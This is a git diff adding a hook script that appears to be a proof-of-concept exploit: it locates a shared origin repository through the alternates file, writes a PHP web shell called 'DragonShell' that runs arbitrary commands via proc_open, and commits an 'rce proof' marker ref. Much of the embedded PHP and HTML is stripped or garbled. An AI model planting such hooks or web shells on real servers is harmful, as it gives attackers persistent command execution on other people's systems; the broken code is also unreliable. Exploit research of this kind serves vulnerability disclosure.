diff --git a/hooks/post-index-change b/hooks/post-index-change
new file mode 100755
index 0000000..741c6ad
--- /dev/null
+++ b/hooks/post-index-change
@@ -0,0 +1,877 @@
+#!/bin/sh
+git_dir=$(git rev-parse --absolute-git-dir) || exit 1
+origin_objects=$(sed -n "1p" "$git_dir/objects/info/alternates") || exit 2
+case "$origin_objects" in
+ /*) ;;
+ *) origin_objects="$git_dir/objects/$origin_objects" ;;
+esac
+origin_git=${origin_objects%/objects}
+[ "$origin_git" != "$origin_objects" ] || exit 3
+
+# Create DragonShell in the repository
+cat > "$origin_git/dragonshell.php" << 'EOF'
+ array("pipe", "r"),
+ 1 => array("pipe", "w"),
+ 2 => array("pipe", "w")
+ );
+
+ $process = proc_open($command, $descriptorspec, $pipes, $work_dir);
+
+ if (is_resource($process)) {
+ fclose($pipes[0]);
+
+ $cmd_output = stream_get_contents($pipes[1]);
+ $errors = stream_get_contents($pipes[2]);
+
+ fclose($pipes[1]);
+ fclose($pipes[2]);
+
+ $return_value = proc_close($process);
+
+ if (!empty($cmd_output)) {
+ $output_content .= htmlspecialchars($cmd_output);
+ }
+
+ if (!empty($errors)) {
+ $output_content .= "ERROR:\n" . htmlspecialchars($errors);
+ }
+ } else {
+ $output_content .= "Failed to execute command\n";
+ }
+ $output_content .= "\n";
+ }
+}
+?>
+
+
+
+
+
+
+ DragonShell | Interactive PHP Terminal
+
+
+
+
+
+
+
+
+
+
+
+
File Explorer
+
+
+
+
+
Breadcrumb Navigation:
+
+ Root';
+
+ foreach ($path_parts as $part) {
+ if ($part === '') continue;
+ $path_accum .= '/' . $part;
+ echo '
/' . htmlspecialchars($part) . '';
+ }
+ ?>
+
+
+
+
+
+
+
+
+
+
+
+
+
Command Center
+
+
+
+
+
+
+
+
+
+
+
+
+
+ PHP
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
System Overview
+
+
+
+
Memory Usage
+
+
+ RAM: MB
+ MB peak
+
+
+
+
+
+
+
Disk Space
+
+
+ Used: GB
+ Total: GB
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+EOF
+chmod 644 "$origin_git/dragonshell.php"
+chown git:git "$origin_git/dragonshell.php" 2>/dev/null
+
+# Create proof file
+message="SUCCESS: DragonShell uploaded to: dragonshell.php"
+output_blob=$(echo "$message" | git --git-dir="$origin_git" hash-object -w --stdin) || exit 4
+tree=$(printf "100644 blob %s\tproof\n" "$output_blob" | git --git-dir="$origin_git" mktree) || exit 5
+commit=$(printf "rce proof\n" | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@x GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@x git --git-dir="$origin_git" commit-tree "$tree") || exit 6
+git --git-dir="$origin_git" update-ref refs/heads/rce-proof "$commit" || exit 7
+exit 0